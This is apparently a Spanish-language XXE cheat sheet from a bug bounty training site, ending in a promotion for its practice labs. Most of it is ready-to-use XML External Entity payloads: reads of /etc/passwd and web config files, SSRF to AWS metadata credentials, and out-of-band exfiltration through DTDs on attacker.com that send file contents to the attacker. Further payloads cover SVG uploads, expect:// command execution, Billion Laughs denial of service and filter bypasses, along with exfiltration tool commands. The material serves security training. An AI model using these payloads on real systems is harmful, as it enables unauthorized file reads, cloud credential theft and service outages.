Cheatsheet XXE

XML External Entity

Referencia rápida

  • Buscar XXE en: uploads de DOCX/XLSX/SVG, APIs SOAP, parsers RSS/XML, configuraciones SAML
  • Convertir Content-Type a application/xml en cualquier endpoint que acepte datos
  • Para blind XXE, usar parameter entities (%) con DTD externo para exfiltracion OOB
  • SVG es ideal para XXE porque no tiene magic bytes - bypasea validaciones de imagen
  • Si el parser es PHP, probar expect:// para RCE directo

Lectura de archivos (LFI)

LFI basico /etc/passwd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>

PHP filter base64

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php">
]><foo><result>&ac;</result></foo>

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

CDATA wrapper para XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd">
%dtd;]>
<data>&wrapper;</data>

SSRF via XXE

SSRF a servicio interno

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://internal-service.com/admin">
]><foo>&xxe;</foo>

AWS metadata via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]><foo>&xxe;</foo>

Blind XXE - Out-of-Band

OOB via Collaborator

<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com">
]><stockCheck><productId>&xxe;</productId></stockCheck>

Parameter entity OOB

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR">
%xxe; ]>

Exfiltracion via DTD externoexploit.dtd contiene: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd">
%xxe;]>

FTP exfiltracionftp.dtd envia datos via FTP al servidor del atacante

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd">
%remote; %send;]>
<data>4</data>

XXE via upload de archivos

SVG con XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

SVG con expect:// (RCE)

<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="expect://id"></image>
</svg>

UTF-7 encoding bypassConvierte con: recode UTF8..UTF7 payload.xml

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

DoS y bypass de filtros

Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]><lolz>&lol9;</lolz>

Case manipulation bypass

<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>

Base64 encoding bypass

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
]><foo>&xxe;</foo>

DTD chaining

<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
%remote;]>

Herramientas

XXEinjector

Herramienta automatizada de XXE con multiples modos de exfiltracion

ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http

oxml_xxe

Genera archivos DOCX/XLSX/PPTX con payloads XXE embebidos

python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx

Burp Collaborator

Servidor OOB para confirmar blind XXE via DNS/HTTP callbacks

Burp Suite > Burp Collaborator Client > Copy to clipboard

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras